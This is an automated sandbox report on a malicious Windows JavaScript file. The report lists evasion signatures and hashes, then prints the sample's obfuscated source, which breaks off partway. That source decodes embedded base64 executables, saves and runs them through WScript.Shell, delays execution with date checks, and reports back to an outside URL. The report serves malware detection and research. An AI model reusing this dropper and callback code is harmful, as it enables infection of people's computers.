Analysis Report

Overview

General Information

Joe Sandbox Version:	20.0
Analysis ID:	379266
Start time:	10:02:46
Joe Sandbox Product:	Cloud
Start date:	28.09.2017
Overall analysis duration:	0h 3m 49s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	mal.js
Cookbook file name:	JavaScript Instrumentation.jbs
Analysis system description:	Windows 7 (Office 2010 v14.0.4, Java 1.8.0_40, Flash 16.0.0.305, Acrobat Reader 11.0.08, Internet Explorer 11, Chrome 55, Firefox 43)
Number of analysed new started processes analysed:	4
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies	EGA enabled VBA Instrumentation enabled JavaScript Instrumentation enabled
Detection:	MAL
Classification:	mal48.evad.winJS@1/0@0/0
Cookbook Comments:	Found application associated with file extension: .js
Warnings:	Show All Exclude process from analysis (whitelisted): WmiApSrv.exe, WMIADAP.exe, dllhost.exe

Detection

Strategy	Score	Range	Reporting	Detection
Threshold	48	0 - 100	Report FP / FN

Confidence

Strategy	Score	Range	Further Analysis Required?	Confidence
Threshold	5	0 - 5	false

Classification

Analysis Advice

Sample may be VM or Sandbox-aware, try analysis on a native machine

Signature Overview

Click to jump to signature section

Networking:

Urls found in memory or binary data

Show sources

Source: mal.js

String found in binary or memory: http://moroplinghaptan.info/eroorrrs

System Summary:

Classification label

Show sources

Source: classification engine

Classification label: mal48.evad.winJS@1/0@0/0

Reads software policies

Show sources

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Uses an in-process (OLE) Automation server

Show sources

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Java / VBScript file with very long strings (likely obfuscated code)

Show sources

Source: mal.js

Initial sample: Strings found which are bigger than 50

Anti Debugging:

Checks for kernel debuggers (NtQuerySystemInformation(SystemKernelDebuggerInformation))

Show sources

Source: C:\Windows\System32\wscript.exe

System information queried: KernelDebuggerInformation

Program does not show much activity (idle)

Show sources

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Malware Analysis System Evasion:

Found WSH timer for Javascript or VBS script (likely evasive script)

Show sources

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

May sleep (evasive loops) to hinder dynamic analysis

Show sources

Source: C:\Windows\System32\wscript.exe TID: 3356

Thread sleep time: -60000s >= -60s

Program does not show much activity (idle)

Show sources

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

JavaScript source code contains functionality to check date of execution (likely for evasion)

Show sources

Source: mal.js

Evasive datetime check: Date checked versus '2017-09-28 09:52:05'

Go to definition

JavaScript source code contains functionality to compute date of execution (likely for evasion)

Show sources

Source: mal.js	API name: ['getMonth']	Go to definition
Source: mal.js	API name: ['getDate']	Go to definition
Source: mal.js	API name: ['getYear']	Go to definition
Source: mal.js	API name: ['getMinutes', 'getHours', 'getSeconds']	Go to definition

Hooking and other Techniques for Hiding and Protection:

Disables application error messsages (SetErrorMode)

Show sources

Source: C:\Windows\System32\wscript.exe

Process information set: NOOPENFILEERRORBOX

Language, Device and Operating System Detection:

Queries the cryptographic machine GUID

Show sources

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Simulations

Behavior and APIs

Time	Type	Description
10:03:56	API Interceptor	1x Sleep call for process: wscript.exe modified from: 60000ms to: 500ms

Antivirus Detection

Initial Sample

No Antivirus matches

Dropped Files

No Antivirus matches

Domains

No Antivirus matches

Yara Overview

Initial Sample

No yara matches

PCAP (Network Traffic)

No yara matches

Dropped Files

No yara matches

Memory Dumps

No yara matches

Unpacked PEs

No yara matches

Joe Sandbox View / Context

IPs

No context

Domains

No context

ASN

No context

Dropped Files

No context

Screenshot

Startup

System is w7_1

wscript.exe (PID: 3320 cmdline: 'C:\Windows\System32\WScript.exe' 'C:\Users\user\Desktop\mal.js' MD5: 979D74799EA6C8B8167869A68DF5204A)

cleanup

Created / dropped Files

No created / dropped files found

Contacted Domains/Contacted IPs

Contacted Domains

No contacted domains info

Contacted IPs

No contacted IP infos

Static File Info

General
File type:	ASCII text, with very long lines, with no line terminators
TrID:	Visual Basic Script (6000/0) 60.00% Java Script embedded in Visual Basic Script (2000/0) 20.00% Java Script (2000/0) 20.00%
File name:	mal.js
File size:	12785
MD5:	55499faa58eff7df21c743165b08818d
SHA1:	9bef9f18158fa0468ea1f5f09ff8793740e6810d
SHA256:	6130e3ae0ab3f45fa3cb07745df4a57268036f0d44b64b8155332b36629d0d6e
SHA512:	f047b964f6051c753a0e711ab711233fa7fbca0965080119897058c134b28a6d03520e4b43b9a7ab2e3b1996fe6dbc969594b2a2b23e8b74ed3e8c9597b7227e
File Content Preview:	var wtHCTXBiNQWAbLgZxsPCsvcODxAFltACnmkXXRJheHZnjOhXSutDdzmeRaLCBwPwbJotxPdGJjUFkTOlirqldCNBhJhoAIrYfbFpyCKfwOVGVoXezOdXtPOCEKgfLqOWWetswKjtCEzUjcGbDUzHAFQIkyxXvaxkRRBlOzeheslqFxTfz = [];var ZflLnmxVddzPcnzqchnWgzPzyHWQNDOtRcUQrkFhxYKoBjfTbTntdICLXEpxnnfg

File Icon

Network Behavior

No network behavior found

Code Manipulations

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

System Behavior

Analysis Process: wscript.exe PID: 3320 Parent PID: 2940

General

Start time:	10:03:55
Start date:	28/09/2017
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	'C:\Windows\System32\WScript.exe' 'C:\Users\user\Desktop\mal.js'
Imagebase:	0x754d0000
File size:	141824 bytes
MD5 hash:	979D74799EA6C8B8167869A68DF5204A
Programmed in:	C, C++ or other language

Chronological Activities

Disassembly

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	var wtHCTXBiNQWAbLgZxsPCsvcODxAFltACnmkXXRJheHZnjOhXSutDdzmeRaLCBwPwbJotxPdGJjUFkTOlirqldCNBhJhoAIrYfbFpyCKfwOVGVoXezOdXtPOCEKgfLqOWWetswKjtCEzUjcGbDUzHAFQIkyxXvaxkRRBlOzeheslqFxTfz = [];
1	var ZflLnmxVddzPcnzqchnWgzPzyHWQNDOtRcUQrkFhxYKoBjfTbTntdICLXEpxnnfgCHWBLFXGGuvKEoVVZiuSuOLqbexddrCPZCoFNIPEUpjKwAnTrRWwmDsUxtnzhudoGHToRIIJARCoyWaOelypmHe = 1;
2	kgFVcBWsVIBcejLJiuzGQFPhIsAQDVwvGyOxcaQRyovKRUbEBLWQIuUzULuHhRnIHGdbCKRAkLlgizBeQYvwiYcatsDWtgdbbdmSXJWUbsCyxTowuPopCAyerA = 2;
3	function UiZBAJNGbeQqnFCnINgnTINnlgfUJKyScfWaALTobXAgiNJPyPmYFvqpAVuHdCTjavLtApFomuJuPZafGrErDcnUBldegAXVgbWqeLnqUANIAJmloRJfBuHtgxblTREQDSUbSADenESoteReGCqfijqnuZqlbNNIJFpZklNhhgtzIVffSJjAgkL(lzgVXiTHsWhpjGNmENUJkEvusmldYfcHqkhURqaRVgNKRiTlInyQjlZmKWHbXzIlTuLytREmqEahAQaPNFkp, zIBAHUNiXTBZBxmkwNEXEyZOyslugGBpSTgakmHHPPhjulaCFOCnjHgLhYZustFjprpoVTtCspmmarxDVoeckgSKmfZFnSjndAldofzpqhvYghU) {
4	try
5	{
6	var bHyoXXbrBthbbLaIhVqNvbJiXASfkRmimxFRkNAoCxaSqqRDOPAtiaZrVSEAUnSDNzUBwTQQOKrBBuchDjJahNzexGQhUncIfGLenTDyKpaVtFZvOiUcatyJqFvizsXdeEyYcCURhtAhebjCOHcjjohhQwfanXbPXaGZWkxIJEgZxeKZtROsJHADVcgDEWEyQIwiqpLtwAoWVdkHXZYTD = WScript.CreateObject ( "MSXml2.DOMDocument" );
7	var SbsBvQBdkqEPcxILXomxhQzVqvpuJriTkikgmlhXYRpDBjGovNLDJbTCqgspkgrxNowxyWdZSXxUiIBrqBKDFXJoTGIoAkdkSQHCvixVpfEuDFnaDBAnNDgvboOEBKmYpQvnYXRDDdaHpdNyCLHqrXDGTUBpNFpbjAViTwrTiFbBhjGjtvJOsrsKVzFSmSmxsmPLNxJzSNmBYROhm = bHyoXXbrBthbbLaIhVqNvbJiXASfkRmimxFRkNAoCxaSqqRDOPAtiaZrVSEAUnSDNzUBwTQQOKrBBuchDjJahNzexGQhUncIfGLenTDyKpaVtFZvOiUcatyJqFvizsXdeEyYcCURhtAhebjCOHcjjohhQwfanXbPXaGZWkxIJEgZxeKZtROsJHADVcgDEWEyQIwiqpLtwAoWVdkHXZYTD.createElement ( "Base64Data" );
8	SbsBvQBdkqEPcxILXomxhQzVqvpuJriTkikgmlhXYRpDBjGovNLDJbTCqgspkgrxNowxyWdZSXxUiIBrqBKDFXJoTGIoAkdkSQHCvixVpfEuDFnaDBAnNDgvboOEBKmYpQvnYXRDDdaHpdNyCLHqrXDGTUBpNFpbjAViTwrTiFbBhjGjtvJOsrsKVzFSmSmxsmPLNxJzSNmBYROhm.dataType = "bin.base64";
9	SbsBvQBdkqEPcxILXomxhQzVqvpuJriTkikgmlhXYRpDBjGovNLDJbTCqgspkgrxNowxyWdZSXxUiIBrqBKDFXJoTGIoAkdkSQHCvixVpfEuDFnaDBAnNDgvboOEBKmYpQvnYXRDDdaHpdNyCLHqrXDGTUBpNFpbjAViTwrTiFbBhjGjtvJOsrsKVzFSmSmxsmPLNxJzSNmBYROhm.text = lzgVXiTHsWhpjGNmENUJkEvusmldYfcHqkhURqaRVgNKRiTlInyQjlZmKWHbXzIlTuLytREmqEahAQaPNFkp;
10	var OahhrcxRfsZYgOCFsPhHlhgAOcvFAXANAevAknExvozwljZeUFnOJRvCmWaDgpVwuNlPHDLfIeyJfBAyFYszsfTzwfegOCPcreEbeagcibLIgVggfOhKFaiGWvyaAocfmlbUxHcszpDOTOI = WScript.CreateObject ( "ADODB.Stream" );
11	OahhrcxRfsZYgOCFsPhHlhgAOcvFAXANAevAknExvozwljZeUFnOJRvCmWaDgpVwuNlPHDLfIeyJfBAyFYszsfTzwfegOCPcreEbeagcibLIgVggfOhKFaiGWvyaAocfmlbUxHcszpDOTOI.Type = ZflLnmxVddzPcnzqchnWgzPzyHWQNDOtRcUQrkFhxYKoBjfTbTntdICLXEpxnnfgCHWBLFXGGuvKEoVVZiuSuOLqbexddrCPZCoFNIPEUpjKwAnTrRWwmDsUxtnzhudoGHToRIIJARCoyWaOelypmHe;
12	OahhrcxRfsZYgOCFsPhHlhgAOcvFAXANAevAknExvozwljZeUFnOJRvCmWaDgpVwuNlPHDLfIeyJfBAyFYszsfTzwfegOCPcreEbeagcibLIgVggfOhKFaiGWvyaAocfmlbUxHcszpDOTOI.Open ( );
13	OahhrcxRfsZYgOCFsPhHlhgAOcvFAXANAevAknExvozwljZeUFnOJRvCmWaDgpVwuNlPHDLfIeyJfBAyFYszsfTzwfegOCPcreEbeagcibLIgVggfOhKFaiGWvyaAocfmlbUxHcszpDOTOI.Write ( SbsBvQBdkqEPcxILXomxhQzVqvpuJriTkikgmlhXYRpDBjGovNLDJbTCqgspkgrxNowxyWdZSXxUiIBrqBKDFXJoTGIoAkdkSQHCvixVpfEuDFnaDBAnNDgvboOEBKmYpQvnYXRDDdaHpdNyCLHqrXDGTUBpNFpbjAViTwrTiFbBhjGjtvJOsrsKVzFSmSmxsmPLNxJzSNmBYROhm.nodeTypedValue );
14	OahhrcxRfsZYgOCFsPhHlhgAOcvFAXANAevAknExvozwljZeUFnOJRvCmWaDgpVwuNlPHDLfIeyJfBAyFYszsfTzwfegOCPcreEbeagcibLIgVggfOhKFaiGWvyaAocfmlbUxHcszpDOTOI.SaveToFile ( zIBAHUNiXTBZBxmkwNEXEyZOyslugGBpSTgakmHHPPhjulaCFOCnjHgLhYZustFjprpoVTtCspmmarxDVoeckgSKmfZFnSjndAldofzpqhvYghU, kgFVcBWsVIBcejLJiuzGQFPhIsAQDVwvGyOxcaQRyovKRUbEBLWQIuUzULuHhRnIHGdbCKRAkLlgizBeQYvwiYcatsDWtgdbbdmSXJWUbsCyxTowuPopCAyerA );
15	OahhrcxRfsZYgOCFsPhHlhgAOcvFAXANAevAknExvozwljZeUFnOJRvCmWaDgpVwuNlPHDLfIeyJfBAyFYszsfTzwfegOCPcreEbeagcibLIgVggfOhKFaiGWvyaAocfmlbUxHcszpDOTOI.Close ( );
16	return true;
17	}
18	catch ( e )
19	{
20	zuJwsvhnvyawISkRRTfrEHJCCLKfSOmjyLNdYeppzEXGNVRzgfrmXHbXOWuSOCbDJwkymQYSKjDVGzpjniYAcgqLVXjbdaybEOGaZiNcYqtVsXsxsWNvrOGkuHaXeXKdpnvpCzRGRxcTRWTbEdgyfbhUOiUBo ( 'Save', e.message );
21	return false;
22	}
23	}
24	function GdDiHIOYqpVVYosXYRxyHBeGmoHvSjICPeTLtyRdwjrtskUhmSJOejTaoTmbLBDjWjswuDpDBFdpzZrbkcfcOXjgiKEtRBiIpXQuUsittZCZHtltmdrjPmkINaCiJPzZEwlqGwrLpKRJHVjZrAHqzcGwKqBxPNQWFJxpsYLdakjUivXOchuucdQjNZTVbstZQloirBDiJIxLVczeHraBUj() {
25	var seCEXVynHobtPZmSVexfQKOYlPbvnERZrtpBFlSTLKmdEcvnrFtFNYBsxwLAvZrKbbdmSQhZcZFRArFIfmbVeZYBCFllhZrDdrXggxzUcftgzyOOcQifVoSvKcgaHVDGZPEtdyDPwAsNatRQwWYbGmXfFzoGuLCujKwyCXdnfCkJkZjnCRxoKCwAqwDe = new ActiveXObject ( 'WScript.Shell' );
26	var ZsAwRYqjNCFhKtJTaqEqggvJHNIAtohYPiVrfjZDSgcZlZEBPQppwLnTDAHFpekRuLFeHyaSclshLNmgFfBgBsgtTYVopmgLTkktwKWGyDysEpmgNSCvsGjErpXDRqEIKgQCRJOsYJiVFoAIYFuEiOprjlVfVNAOWPpFcjiFALg = seCEXVynHobtPZmSVexfQKOYlPbvnERZrtpBFlSTLKmdEcvnrFtFNYBsxwLAvZrKbbdmSQhZcZFRArFIfmbVeZYBCFllhZrDdrXggxzUcftgzyOOcQifVoSvKcgaHVDGZPEtdyDPwAsNatRQwWYbGmXfFzoGuLCujKwyCXdnfCkJkZjnCRxoKCwAqwDe.SpecialFolders;
27	var NLfmzgkSROKBUDjbVYmOoDqKvJantGBnyBKmQktTdiczlswbySJZQfrOnuURbsxPQdgiXBJfmKdaKYbpjPdbeqWUCvjNUwHnpbniHFFFOxGcQtsTSIypsmSdEvUoITyEkXcQeVURrDyLhXxwDDkRDlxjGjzmfUVYONRxLExEtSmuPXloHVRUv = ZsAwRYqjNCFhKtJTaqEqggvJHNIAtohYPiVrfjZDSgcZlZEBPQppwLnTDAHFpekRuLFeHyaSclshLNmgFfBgBsgtTYVopmgLTkktwKWGyDysEpmgNSCvsGjErpXDRqEIKgQCRJOsYJiVFoAIYFuEiOprjlVfVNAOWPpFcjiFALg.item ( 5 );
28	return NLfmzgkSROKBUDjbVYmOoDqKvJantGBnyBKmQktTdiczlswbySJZQfrOnuURbsxPQdgiXBJfmKdaKYbpjPdbeqWUCvjNUwHnpbniHFFFOxGcQtsTSIypsmSdEvUoITyEkXcQeVURrDyLhXxwDDkRDlxjGjzmfUVYONRxLExEtSmuPXloHVRUv;
29	}
30	function GYPCSKFpNyTTgASpRrGPTqIUgYZAOeFTwaVVYdWQczXkZpdSujsHzoBZmFICZnPvqzGRNLPBKJkhtOZrmeuZaBHmTSSUenFiSiSf(pggULdcsdzOktKhzcJVBARIYVrlbEaugFAkPTuJFoCYGUeAbKCkjBmGhOXixchyjENkRjorVgWRpGUkajAlSqnGPSrhNZYuJvZlleixffiiQptVFUyjNuhAsszSrTfmcUqJFcNxULLLodLeQrlhtiskwUDLIiVZkLSoAVUgfxjDiOFJVzVxURsYBYNLuHavhKbTgXLDCocAFJJ, ebRchqKjVnJbfrAKOTxkbziuTgYczGfDBeGoffVcWzyRHPbvKExxtbfpUfdpQeNDrQgHdzkvwbnLjPU) {
31	var CAGnGETkeUksNbPTYeJfQFqkhuXXfLaifvjcXRalZDwFIktyYiaACmnpJqzoHUQgyXKOnGxYaAGKfplsvnmJkdyhC = new ActiveXObject ( 'WScript.Shell' );
32	CAGnGETkeUksNbPTYeJfQFqkhuXXfLaifvjcXRalZDwFIktyYiaACmnpJqzoHUQgyXKOnGxYaAGKfplsvnmJkdyhC.Run ( pggULdcsdzOktKhzcJVBARIYVrlbEaugFAkPTuJFoCYGUeAbKCkjBmGhOXixchyjENkRjorVgWRpGUkajAlSqnGPSrhNZYuJvZlleixffiiQptVFUyjNuhAsszSrTfmcUqJFcNxULLLodLeQrlhtiskwUDLIiVZkLSoAVUgfxjDiOFJVzVxURsYBYNLuHavhKbTgXLDCocAFJJ + '\\' + ebRchqKjVnJbfrAKOTxkbziuTgYczGfDBeGoffVcWzyRHPbvKExxtbfpUfdpQeNDrQgHdzkvwbnLjPU + '.exe' );
33	zuJwsvhnvyawISkRRTfrEHJCCLKfSOmjyLNdYeppzEXGNVRzgfrmXHbXOWuSOCbDJwkymQYSKjDVGzpjniYAcgqLVXjbdaybEOGaZiNcYqtVsXsxsWNvrOGkuHaXeXKdpnvpCzRGRxcTRWTbEdgyfbhUOiUBo ( 'Exec', 'offloader' );
34	}
35	function phThfQTHCsQcqyrazOpExbtfrRiwiyBBKcWHCQcGAhPkGPSEOiHhYBIycRohdujxpoZwvlEPjDDaasYLqpYLLGfqNwWjKQTrJyzaNvaQCKpYnXDVUxjseouWALRfIrLUgRHXwQDTrYWDkaenoOiZpGQUxUaffAVFLHsoKIrjl() {	phThfQTHCsQcqyrazOpExbtfrRiwiyBBKcWHCQcGAhPkGPSEOiHhYBIycRohdujxpoZwvlEPjDDaasYLqpYLLGfqNwWjKQTrJyzaNvaQCKpYnXDVUxjseouWALRfIrLUgRHXwQDTrYWDkaenoOiZpGQUxUaffAVFLHsoKIrjl() ➔ "2017-09-28 10:3:56"
36	var jmwOSojkVUcHWToYjAncLjIhQEXGzPYtQfFWmalefbTuGEhtsaIqOfYcpmRHStnkpwiYVkmVnImwRoudLJPmogVfNvpxRrkJfWeyRdJVqmlLTbWZNLUFISRKwfBsRODiVrRdLNCyGbSIkdkAjDseSHZc = new Date ( );
37	var UdIqfkNFnmjNUYrYkNEGeFCIPegYJuVaBUOOCkoHAnetopTZVHnrxRshaYSSUkgqlheUbaT = jmwOSojkVUcHWToYjAncLjIhQEXGzPYtQfFWmalefbTuGEhtsaIqOfYcpmRHStnkpwiYVkmVnImwRoudLJPmogVfNvpxRrkJfWeyRdJVqmlLTbWZNLUFISRKwfBsRODiVrRdLNCyGbSIkdkAjDseSHZc.getDate ( );	Thu Sep 28 10:03:56 UTC+0200 2017.getDate() ➔ 28
38	var sNEsSPLqrvwnEsAQlQvNilRIKHLGZVvYkpjlEWKqgGHbKXmswseWfxPiCPdbiTrSnCuAYpAUkguQptbNIANxytzdHVFhzmvufLBdhPiegndFjPatLlRZVmXVTalKzCRkPEwthBlRVZmYViQZGAkKuNqJvpxFldsPQAjIqxxkQzsDEflSopiZhiAzY = jmwOSojkVUcHWToYjAncLjIhQEXGzPYtQfFWmalefbTuGEhtsaIqOfYcpmRHStnkpwiYVkmVnImwRoudLJPmogVfNvpxRrkJfWeyRdJVqmlLTbWZNLUFISRKwfBsRODiVrRdLNCyGbSIkdkAjDseSHZc.getMonth ( );	Thu Sep 28 10:03:56 UTC+0200 2017.getMonth() ➔ 8
39	var fnKKibXddaWpHprbywvUWFbcFtjGlJqNCXDgohNGCNKVacFGHXeINlcmtEkQcbHkoujIAfOv = jmwOSojkVUcHWToYjAncLjIhQEXGzPYtQfFWmalefbTuGEhtsaIqOfYcpmRHStnkpwiYVkmVnImwRoudLJPmogVfNvpxRrkJfWeyRdJVqmlLTbWZNLUFISRKwfBsRODiVrRdLNCyGbSIkdkAjDseSHZc.getYear ( );	Thu Sep 28 10:03:56 UTC+0200 2017.getYear() ➔ 2017
40	return fnKKibXddaWpHprbywvUWFbcFtjGlJqNCXDgohNGCNKVacFGHXeINlcmtEkQcbHkoujIAfOv + "-" + ( ( sNEsSPLqrvwnEsAQlQvNilRIKHLGZVvYkpjlEWKqgGHbKXmswseWfxPiCPdbiTrSnCuAYpAUkguQptbNIANxytzdHVFhzmvufLBdhPiegndFjPatLlRZVmXVTalKzCRkPEwthBlRVZmYViQZGAkKuNqJvpxFldsPQAjIqxxkQzsDEflSopiZhiAzY + 1 ) < 10 ? '0' + ( sNEsSPLqrvwnEsAQlQvNilRIKHLGZVvYkpjlEWKqgGHbKXmswseWfxPiCPdbiTrSnCuAYpAUkguQptbNIANxytzdHVFhzmvufLBdhPiegndFjPatLlRZVmXVTalKzCRkPEwthBlRVZmYViQZGAkKuNqJvpxFldsPQAjIqxxkQzsDEflSopiZhiAzY + 1 ) : ( sNEsSPLqrvwnEsAQlQvNilRIKHLGZVvYkpjlEWKqgGHbKXmswseWfxPiCPdbiTrSnCuAYpAUkguQptbNIANxytzdHVFhzmvufLBdhPiegndFjPatLlRZVmXVTalKzCRkPEwthBlRVZmYViQZGAkKuNqJvpxFldsPQAjIqxxkQzsDEflSopiZhiAzY + 1 ) ) + "-" + ( UdIqfkNFnmjNUYrYkNEGeFCIPegYJuVaBUOOCkoHAnetopTZVHnrxRshaYSSUkgqlheUbaT < 10 ? '0' + UdIqfkNFnmjNUYrYkNEGeFCIPegYJuVaBUOOCkoHAnetopTZVHnrxRshaYSSUkgqlheUbaT : UdIqfkNFnmjNUYrYkNEGeFCIPegYJuVaBUOOCkoHAnetopTZVHnrxRshaYSSUkgqlheUbaT ) + ' ' + jmwOSojkVUcHWToYjAncLjIhQEXGzPYtQfFWmalefbTuGEhtsaIqOfYcpmRHStnkpwiYVkmVnImwRoudLJPmogVfNvpxRrkJfWeyRdJVqmlLTbWZNLUFISRKwfBsRODiVrRdLNCyGbSIkdkAjDseSHZc.getHours ( ) + ':' + jmwOSojkVUcHWToYjAncLjIhQEXGzPYtQfFWmalefbTuGEhtsaIqOfYcpmRHStnkpwiYVkmVnImwRoudLJPmogVfNvpxRrkJfWeyRdJVqmlLTbWZNLUFISRKwfBsRODiVrRdLNCyGbSIkdkAjDseSHZc.getMinutes ( ) + ':' + jmwOSojkVUcHWToYjAncLjIhQEXGzPYtQfFWmalefbTuGEhtsaIqOfYcpmRHStnkpwiYVkmVnImwRoudLJPmogVfNvpxRrkJfWeyRdJVqmlLTbWZNLUFISRKwfBsRODiVrRdLNCyGbSIkdkAjDseSHZc.getSeconds ( );	Thu Sep 28 10:03:56 UTC+0200 2017.getHours() ➔ 10 Thu Sep 28 10:03:56 UTC+0200 2017.getMinutes() ➔ 3 Thu Sep 28 10:03:56 UTC+0200 2017.getSeconds() ➔ 56
41	}
42	;
43	function zuJwsvhnvyawISkRRTfrEHJCCLKfSOmjyLNdYeppzEXGNVRzgfrmXHbXOWuSOCbDJwkymQYSKjDVGzpjniYAcgqLVXjbdaybEOGaZiNcYqtVsXsxsWNvrOGkuHaXeXKdpnvpCzRGRxcTRWTbEdgyfbhUOiUBo(oGFvKqBodvnQqOocYjlnrcFwJrsvSjhilSxmOOXjrIblTFbXOYEcCIBXqViuLprlVXPqjflPcEfKxARzkxpd, NdLeFQgbupsUpjRQKNbLnvOqIbbTdKsrBtZStTxzrOtoPJXTFIEmWExOIklmkufopssCqoaLgfASnOUgyANggoTKVZvrJFbgRAzXsUgqoncBZwTmuGwGwTLaURQnJQRFSIFrKSaWkAykqXCSUfBEYIqXZVyxggiuLUPpfsWLdwdwhrla) {
44	var neuZClHKSEZeKUvLdoJYCIBSUdHEoTLUZdbKXRsNOcuwHBrNLFvKnxLHFkRQrTtYdgGrccIlJyzKgHdLHpdBAvjesDmALRfbtWt = new ActiveXObject ( "Msxml2.XMLHTTP" );
45	try
46	{
47	neuZClHKSEZeKUvLdoJYCIBSUdHEoTLUZdbKXRsNOcuwHBrNLFvKnxLHFkRQrTtYdgGrccIlJyzKgHdLHpdBAvjesDmALRfbtWt.open ( "POST", "http://moroplinghaptan.info/eroorrrs", false );
48	neuZClHKSEZeKUvLdoJYCIBSUdHEoTLUZdbKXRsNOcuwHBrNLFvKnxLHFkRQrTtYdgGrccIlJyzKgHdLHpdBAvjesDmALRfbtWt.setRequestHeader ( "Content-Type", "text/html" );
49	neuZClHKSEZeKUvLdoJYCIBSUdHEoTLUZdbKXRsNOcuwHBrNLFvKnxLHFkRQrTtYdgGrccIlJyzKgHdLHpdBAvjesDmALRfbtWt.send ( '194459428' + ':::' + oGFvKqBodvnQqOocYjlnrcFwJrsvSjhilSxmOOXjrIblTFbXOYEcCIBXqViuLprlVXPqjflPcEfKxARzkxpd + ':::' + NdLeFQgbupsUpjRQKNbLnvOqIbbTdKsrBtZStTxzrOtoPJXTFIEmWExOIklmkufopssCqoaLgfASnOUgyANggoTKVZvrJFbgRAzXsUgqoncBZwTmuGwGwTLaURQnJQRFSIFrKSaWkAykqXCSUfBEYIqXZVyxggiuLUPpfsWLdwdwhrla );
50	}
51	catch ( e )
52	{
53	return false;
54	}
55	}
56	var time = phThfQTHCsQcqyrazOpExbtfrRiwiyBBKcWHCQcGAhPkGPSEOiHhYBIycRohdujxpoZwvlEPjDDaasYLqpYLLGfqNwWjKQTrJyzaNvaQCKpYnXDVUxjseouWALRfIrLUgRHXwQDTrYWDkaenoOiZpGQUxUaffAVFLHsoKIrjl ( );	phThfQTHCsQcqyrazOpExbtfrRiwiyBBKcWHCQcGAhPkGPSEOiHhYBIycRohdujxpoZwvlEPjDDaasYLqpYLLGfqNwWjKQTrJyzaNvaQCKpYnXDVUxjseouWALRfIrLUgRHXwQDTrYWDkaenoOiZpGQUxUaffAVFLHsoKIrjl() ➔ "2017-09-28 10:3:56"
57	if ( time < '2017-09-28 09:52:05' )
58	{
59	var i = 0;
60	while (i < wtHCTXBiNQWAbLgZxsPCsvcODxAFltACnmkXXRJheHZnjOhXSutDdzmeRaLCBwPwbJotxPdGJjUFkTOlirqldCNBhJhoAIrYfbFpyCKfwOVGVoXezOdXtPOCEKgfLqOWWetswKjtCEzUjcGbDUzHAFQIkyxXvaxkRRBlOzeheslqFxTfz.length )
61	{
62	WScript.Sleep ( 20000 );
63	var TBQmulrIGJJgDmGPbPsVyuVnRgfiKBikYBFFdGZlVFxGbGejKnPZADFnSkSleKmzFDdGsKgYCEwEPLmxsTXZctrhQOXxqacRTYaDdxySrlNRSVaYFUUfYKkLuJBZXJqQ = Math.floor ( ( Math.random ( ) * 2000 ) + 1000 );
64	var PKlGfpXcgKwylXDmjbCYWjFppBGQlItPIlLGGRUhzHnDEXbBDViHIEoEiSuflfeSWUNJOYPXDtTAy = GdDiHIOYqpVVYosXYRxyHBeGmoHvSjICPeTLtyRdwjrtskUhmSJOejTaoTmbLBDjWjswuDpDBFdpzZrbkcfcOXjgiKEtRBiIpXQuUsittZCZHtltmdrjPmkINaCiJPzZEwlqGwrLpKRJHVjZrAHqzcGwKqBxPNQWFJxpsYLdakjUivXOchuucdQjNZTVbstZQloirBDiJIxLVczeHraBUj ( );
65	var kuBVKVRXVKyoLjnkbyzuwYlozlshDhlFgImjOPnmKEqlRIYfyunJDuVXjZChhSzxrNPySuVIDxUvJJJnJUFboBArQwDfgXGBQfTGXjBWhLKChJZjRTohDiRwXRTeqCbxvAcJvGFEygJrcJDmjmiiiVUvKJxuDifXNpWvBZSJTxVDKrWiuSdSOWobcqpBCyrPLwqRYKKOjGCQe = UiZBAJNGbeQqnFCnINgnTINnlgfUJKyScfWaALTobXAgiNJPyPmYFvqpAVuHdCTjavLtApFomuJuPZafGrErDcnUBldegAXVgbWqeLnqUANIAJmloRJfBuHtgxblTREQDSUbSADenESoteReGCqfijqnuZqlbNNIJFpZklNhhgtzIVffSJjAgkL ( wtHCTXBiNQWAbLgZxsPCsvcODxAFltACnmkXXRJheHZnjOhXSutDdzmeRaLCBwPwbJotxPdGJjUFkTOlirqldCNBhJhoAIrYfbFpyCKfwOVGVoXezOdXtPOCEKgfLqOWWetswKjtCEzUjcGbDUzHAFQIkyxXvaxkRRBlOzeheslqFxTfz[i], PKlGfpXcgKwylXDmjbCYWjFppBGQlItPIlLGGRUhzHnDEXbBDViHIEoEiSuflfeSWUNJOYPXDtTAy + '\\' + TBQmulrIGJJgDmGPbPsVyuVnRgfiKBikYBFFdGZlVFxGbGejKnPZADFnSkSleKmzFDdGsKgYCEwEPLmxsTXZctrhQOXxqacRTYaDdxySrlNRSVaYFUUfYKkLuJBZXJqQ + '.exe' );
66	if ( kuBVKVRXVKyoLjnkbyzuwYlozlshDhlFgImjOPnmKEqlRIYfyunJDuVXjZChhSzxrNPySuVIDxUvJJJnJUFboBArQwDfgXGBQfTGXjBWhLKChJZjRTohDiRwXRTeqCbxvAcJvGFEygJrcJDmjmiiiVUvKJxuDifXNpWvBZSJTxVDKrWiuSdSOWobcqpBCyrPLwqRYKKOjGCQe )
67	{
